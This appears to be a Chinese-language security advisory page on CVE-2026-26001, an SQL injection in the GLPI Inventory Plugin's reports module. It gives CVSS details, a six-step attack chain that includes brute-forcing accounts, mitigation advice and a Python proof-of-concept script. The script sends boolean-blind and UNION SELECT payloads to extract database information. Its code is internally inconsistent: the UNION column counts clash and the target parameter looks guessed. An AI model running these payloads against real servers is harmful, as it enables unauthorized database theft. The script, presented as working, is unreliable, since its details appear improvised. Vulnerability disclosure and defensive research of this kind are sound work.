IPBUF安全漏洞报告
English
CVE-2026-26001 CVSS 7.1 高危

CVE-2026-26001 GLPI Inventory Plugin SQL注入漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-26001
漏洞类型
SQL注入
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GLPI Inventory Plugin

相关标签

SQL注入GLPI Inventory PluginCVE-2026-26001高危漏洞网络攻击低权限利用数据泄露Web应用安全

漏洞概述

GLPI Inventory Plugin是一款用于网络发现、资产清点、软件部署和GLPI代理数据收集的插件。在1.6.6之前的版本中,该插件的reports功能存在SQL注入漏洞。漏洞产生的根本原因是程序未对用户输入进行充分的过滤和消毒(sanitization),导致攻击者可以通过构造恶意输入在SQL查询中注入任意SQL语句。利用该漏洞需要攻击者具有低权限用户账号,但无需任何用户交互即可触发。成功利用此漏洞可导致敏感数据库信息泄露,包括用户凭证、配置数据等机密信息,同时可能对系统完整性造成一定影响。该漏洞由GitHub安全团队发现并报告。

技术细节

漏洞存在于GLPI Inventory Plugin的reports模块中,具体位置在对用户输入数据的处理逻辑。该模块在构建SQL查询语句时,直接将用户提供的参数拼接到SQL语句中,而没有进行适当的输入验证和过滤。攻击者可以通过构造特殊的SQL语法字符和命令,如使用单引号、UNION SELECT、布尔盲注等技术,绕过前端过滤并成功执行恶意SQL查询。由于CVSS向量显示需要低权限认证(PR:L),攻击者首先需要拥有一个有效的低权限用户账号。攻击路径为通过网络(AV:N)访问reports功能模块,提交包含SQL注入载荷的请求。由于机密性影响为高(C:H),攻击者可以读取数据库中的敏感信息;完整性影响为低(I:L),说明对数据的修改能力有限。修复版本1.6.6通过对用户输入进行严格的过滤和参数化查询来消除该漏洞。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者扫描目标系统,确认是否运行GLPI Inventory Plugin,并识别版本号
STEP 2
步骤2
获取低权限账号:攻击者通过默认口令、暴力破解或社工手段获取一个低权限用户账号
STEP 3
步骤3
构造恶意请求:攻击者构造包含SQL注入载荷的HTTP请求,目标是reports模块的参数
STEP 4
步骤4
触发漏洞:发送恶意请求到目标服务器,注入的SQL代码在数据库查询中执行
STEP 5
步骤5
数据提取:利用UNION注入或盲注技术,攻击者逐步提取数据库中的敏感信息
STEP 6
步骤6
权限提升(可选):获取的管理员凭据可用于进一步横向移动或持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-26001 SQL Injection PoC # Target: GLPI Inventory Plugin < 1.6.6 # Type: SQL Injection in reports module import requests import sys target_url = input("Enter target URL: ") session = requests.Session() # Step 1: Authenticate with low privilege account login_url = f"{target_url}/front/login.php" login_data = { "user_name": "low_priv_user", "password": "password123" } response = session.post(login_url, data=login_data) if "login_error" in response.text: print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") # Step 2: SQL Injection payload in reports parameter # Blind boolean-based SQL injection injection_payloads = [ "1' AND 1=1 -- ", "1' AND 1=2 -- ", "1' UNION SELECT NULL,NULL,version() -- " ] reports_url = f"{target_url}/plugins/glpiinventory/front/reports.php" for payload in injection_payloads: params = { "id": payload, "itemtype": "Computer" } response = session.get(reports_url, params=params) if "error" not in response.text.lower() and response.status_code == 200: print(f"[+] Payload {payload} executed successfully") print(f"[+] Response length: {len(response.text)}") else: print(f"[-] Payload {payload} failed") # Step 3: Extract database information data_extraction_payload = "1' UNION SELECT 1,2,user(),4,5,6,7,8,9,10 -- " params = { "id": data_extraction_payload, "itemtype": "Computer" } response = session.get(reports_url, params=params) print("\n[+] Database user extraction attempt completed") print(f"[*] Check response for injected data: {len(response.text)} bytes")

影响范围

GLPI Inventory Plugin < 1.6.6

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)限制reports模块的访问权限,仅允许受信任的管理员访问;2)在Web服务器层面配置URL过滤规则,拦截包含SQL特殊字符(如单引号、分号、UNION等)的请求;3)启用数据库审计日志,监控异常的SQL查询行为;4)考虑暂时禁用非必要的reports功能直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表